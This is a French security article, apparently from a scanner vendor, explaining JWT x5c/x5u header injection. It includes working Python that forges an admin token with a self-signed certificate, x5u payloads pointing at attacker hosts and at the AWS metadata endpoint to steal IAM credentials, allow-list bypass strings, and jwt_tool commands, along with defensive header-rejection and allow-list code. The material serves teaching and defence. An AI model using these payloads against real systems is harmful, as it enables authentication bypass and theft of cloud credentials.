Injection JWT x5c/x5u (CWE-345) : substituer un certificat de signature contrôlé via x5c ou x5u pour forger des tokens valides et déclencher du SSRF.
TL;DR
Les paramètres d'en-tête JWT x5c et x5u fournissent la découverte de clé basée sur certificat X.509 pour JWS. x5c (Chaîne de Certificats X.509) intègre une chaîne de certificats DER encodée en base64 directement dans l'en-tête. x5u (URL X.509) fournit une URL depuis laquelle le serveur récupère le certificat. Les deux sont définis dans RFC 7515 §4.1.5 et §4.1.6.
Les vulnérabilités surviennent quand le serveur accepte ces paramètres sans valider le certificat contre un magasin AC de confiance ou une liste d'autorisation pré-enregistrée. L'attaquant fournit son propre matériel X.509, et le serveur utilise la clé publique du certificat intégré pour vérifier la signature du token — que l'attaquant a générée avec la clé privée correspondante.
x5u ajoute une deuxième dimension d'attaque : la récupération HTTP côté serveur est un vecteur SSRF. Si un attaquant peut contrôler l'URL que le serveur récupère, il peut la rediriger vers des services internes, des métadonnées cloud ou d'autres cibles sensibles.
Implémentation Python complète :
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
import datetime, base64, json
def b64url(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
# Générer paire de clés RSA
cle_privee = rsa.generate_private_key(
public_exponent=65537, key_size=2048, backend=default_backend()
)
# Générer certificat X.509 auto-signé
sujet = emetteur = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, u"attaquant.exemple.com"),
])
cert = (
x509.CertificateBuilder()
.subject_name(sujet)
.issuer_name(emetteur)
.public_key(cle_privee.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.datetime.utcnow())
.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365))
.sign(cle_privee, hashes.SHA256(), default_backend())
)
# Encoder le certificat DER en base64 (x5c utilise base64 standard, pas urlsafe)
cert_der = cert.public_bytes(serialization.Encoding.DER)
cert_b64 = base64.b64encode(cert_der).decode()
# Construire en-tête JWT forgé avec x5c
en_tete_forge = {
"alg": "RS256",
"typ": "JWT",
"x5c": [cert_b64] # tableau de certificats DER encodés en base64
}
charge_forgee = {"sub": "utilisateur123", "role": "admin", "exp": 9999999999}
h = b64url(json.dumps(en_tete_forge, separators=(',',':')).encode())
p = b64url(json.dumps(charge_forgee, separators=(',',':')).encode())
msg = f"{h}.{p}".encode()
sig = cle_privee.sign(msg, padding.PKCS1v15(), hashes.SHA256())
token_forge = f"{h}.{p}.{b64url(sig)}"{
"alg": "RS256",
"typ": "JWT",
"x5u": "https://attaquant.com/attaquant-cert.pem"
}Le serveur récupère ce certificat, extrait sa clé publique, vérifie la signature — et accepte le token forgé.
# Chaîne d'attaque : x5u → SSRF → vol de clés AWS IMDSv1
en_tete_malveillant = {
"alg": "RS256",
"x5u": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-ec2"
}
# Le serveur récupère le point de terminaison IMDSv1
# Réponse : AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN# Liste d'autorisation : "doit commencer par https://idp.exemple.com"
# Confusion de sous-domaine
"x5u": "https://idp.exemple.com.attaquant.com/cert.pem"
# Contournement userinfo
"x5u": "https://idp.exemple.com@attaquant.com/cert.pem"
# Chaîne de redirection ouverte
"x5u": "https://idp.exemple.com/redirect?url=https://attaquant.com/cert.pem"| Variante | Charge utile | Impact | Notes |
|---|---|---|---|
| Certificat auto-signé x5c | Cert DER intégré dans l'en-tête | Contournement auth | Pas de réseau nécessaire |
| Certificat distant x5u | URL vers cert contrôlé par l'attaquant | Contournement auth + SSRF | Serveur fait requête sortante |
| SSRF x5u → métadonnées | x5u=http://169.254.169.254/... | Vol d'identifiants cloud | AWS/GCP/Azure IMDSv1 |
| SSRF x5u → service interne | x5u=http://interne:6379/... | Scan réseau interne | Redis, memcached, API k8s |
Entreprise interne OIDC — Injection x5c (Critique, Test de pénétration)
Lors d'un test de pénétration d'une passerelle API d'entreprise interne, un chercheur en sécurité a découvert que la passerelle traitait les en-têtes x5c sans validation CA. Le développeur avait laissé la validation CA commentée pendant les tests. Le chercheur a généré un certificat auto-signé, l'a injecté via x5c, signé un token avec role: "system-admin" et accédé à l'API de cluster interne.
SSRF x5u — Identifiants cloud via IMDSv1 (Bug Bounty, Critique)
Un chercheur en sécurité a découvert une API REST récupérant l'URL x5u et retournant des messages d'erreur significatifs quand le certificat était invalide. En définissant x5u sur http://169.254.169.254/latest/meta-data/iam/security-credentials/, la réponse du serveur incluait le nom du rôle IAM. Une deuxième requête avec le point de terminaison complet des identifiants retournait AccessKeyId, SecretAccessKey et Token — accès AWS API complet.
CVE-2026-22817 — Traitement x5c/jwk Hono (CVSS 8,2) Le middleware JWT de Hono pour les runtimes edge ne validait pas le type de source de clé intégré. Un token avec un en-tête x5c causait à la bibliothèque d'extraire la clé publique du certificat et de vérifier la signature contre elle — identique au pattern d'injection jwk.
Test OOB x5u (détection SSRF) :
"x5u": "https://VOTRE.burpcollaborator.net/cert.pem".Test injection x5c (contournement auth) :
# Générer certificat auto-signé
openssl req -x509 -newkey rsa:2048 -keyout /tmp/cle_attaquant.pem \
-out /tmp/cert_attaquant.pem -days 365 -nodes -subj "/CN=attaquant"
# Attaque injection x5c jwt_tool
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X c -npSSRF vers métadonnées : définir x5u sur http://169.254.169.254/latest/meta-data/. Vérifier si la réponse divulgue des métadonnées d'instance.
Burp JWT Editor : Attaque → Injecter x5c.
jwt_tool :
# Tester l'injection x5c
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X c -np -url "https://cible.com/api/protege"
# Tester x5u avec URL OOB
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -I -hc x5u -hv "https://VOTRE.interactsh.com/cert.pem"BreachVex détecte x5c/x5u par test d'injection de source de clé. Il sonde les deux vecteurs : x5c en intégrant un certificat auto-signé généré et en testant le token forgé contre l'oracle d'authentification confirmé ; x5u en injectant une URL de rappel hors-bande et en surveillant les récupérations côté serveur. Pour x5u, un rappel DNS/HTTP seul est signalé comme une vulnérabilité SSRF ; un rappel combiné à une réponse authentifiée est escaladé en contournement d'authentification critique.
EN_TETES_INTERDITS = {"jwk", "jku", "x5c", "x5u", "x5t", "x5t#S256"}
def analyser_et_verifier_jwt(token: str, cle_publique_fiable, algorithme: str = "RS256") -> dict:
import jwt as pyjwt
en_tete = pyjwt.get_unverified_header(token)
trouves = EN_TETES_INTERDITS & en_tete.keys()
if trouves:
raise SecurityError(
f"JWT contient des en-têtes d'injection de clé interdits : {trouves}. "
"Token rejeté sans vérification."
)
if en_tete.get("alg") != algorithme:
raise SecurityError(f"Algorithme inattendu : {en_tete.get('alg')!r}")
return pyjwt.decode(token, cle_publique_fiable, algorithms=[algorithme])from urllib.parse import urlparse
DOMAINES_CERTS_AUTORISES = {"cert.exemple.com", "certs.idp.exemple.com"}
def recuperer_certificat_x5u(url_x5u: str) -> bytes:
analyse = urlparse(url_x5u)
# Vérification liste d'autorisation — correspondance de domaine exacte
if analyse.netloc not in DOMAINES_CERTS_AUTORISES:
raise SecurityError(f"Domaine x5u pas dans liste d'autorisation : {analyse.netloc!r}")
# HTTPS uniquement
if analyse.scheme != "https":
raise SecurityError(f"x5u doit utiliser HTTPS, obtenu : {analyse.scheme!r}")
import httpx
reponse = httpx.get(url_x5u, timeout=5.0, follow_redirects=False)
if len(reponse.content) > 65536: # 64 Ko max
raise SecurityError("Certificat x5u trop volumineux")
return reponse.contentLe SSRF x5u peut escalader en vol d'identifiants cloud. Dans les environnements AWS utilisant IMDSv1, une requête HTTP côté serveur vers http://169.254.169.254/latest/meta-data/iam/security-credentials/ retourne les identifiants IAM de l'instance sans authentification. Si votre code de vérification JWT récupère l'URL x5u sans protection SSRF, un attaquant non authentifié peut exfiltrer des identifiants AWS en une seule requête. Migrer vers IMDSv2 (nécessite PUT avec en-tête TTL) et ajouter des mitigations SSRF à tout code récupérant des URL contrôlées par l'utilisateur.
L'injection x5c exploite le paramètre d'en-tête x5c (RFC 7515) qui intègre une chaîne de certificats X.509 encodée en DER dans l'en-tête JWT. Une bibliothèque vulnérable accepte la signature du token comme valide si elle correspond à la clé publique dans le certificat intégré — sans vérifier que ce certificat est approuvé par une AC ou un magasin de confiance contrôlé par le serveur.
x5u est un paramètre d'en-tête spécifiant une URL depuis laquelle récupérer le certificat de signature. Si le serveur récupère cette URL sans validation, un attaquant pointe x5u vers un serveur contrôlé par lui hébergeant un certificat auto-signé. La récupération de l'URL x5u est également un vecteur SSRF : elle peut cibler les métadonnées cloud (169.254.169.254), les services internes et les points de terminaison Redis/memcached.
Oui. Si le serveur tourne dans AWS, GCP ou Azure et récupère l'URL x5u, un attaquant peut définir x5u sur http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IMDSv1). La récupération côté serveur retourne les identifiants AWS. Cela convertit un SSRF x5u JWT en exfiltration d'identifiants cloud avec une seule requête HTTP.
Les deux sont des vecteurs d'injection de clé distante basés sur URL. jku pointe vers un point de terminaison JWKS (format JSON) ; x5u pointe vers une URL de certificat X.509 (format PEM ou DER). Les deux nécessitent que le serveur fasse une requête HTTP sortante pour récupérer le matériel de clé. jku est plus couramment supporté et testé ; x5u est moins commun mais permet des chaînes d'attaques supplémentaires.
x5c intègre un certificat X.509 (la chaîne de certificats complète encodée en DER) ; jwk intègre une clé publique brute au format JWK. Les deux permettent à un attaquant de fournir son propre matériel de clé via l'en-tête du token. x5c a une dimension supplémentaire : il implique la logique de validation des certificats X.509 (chaînes AC, politiques de certificat, révocation) qui peut créer des surfaces de contournement supplémentaires. L'objectif de l'attaque est identique : faire en sorte que le serveur vérifie contre un matériel de clé contrôlé par l'attaquant.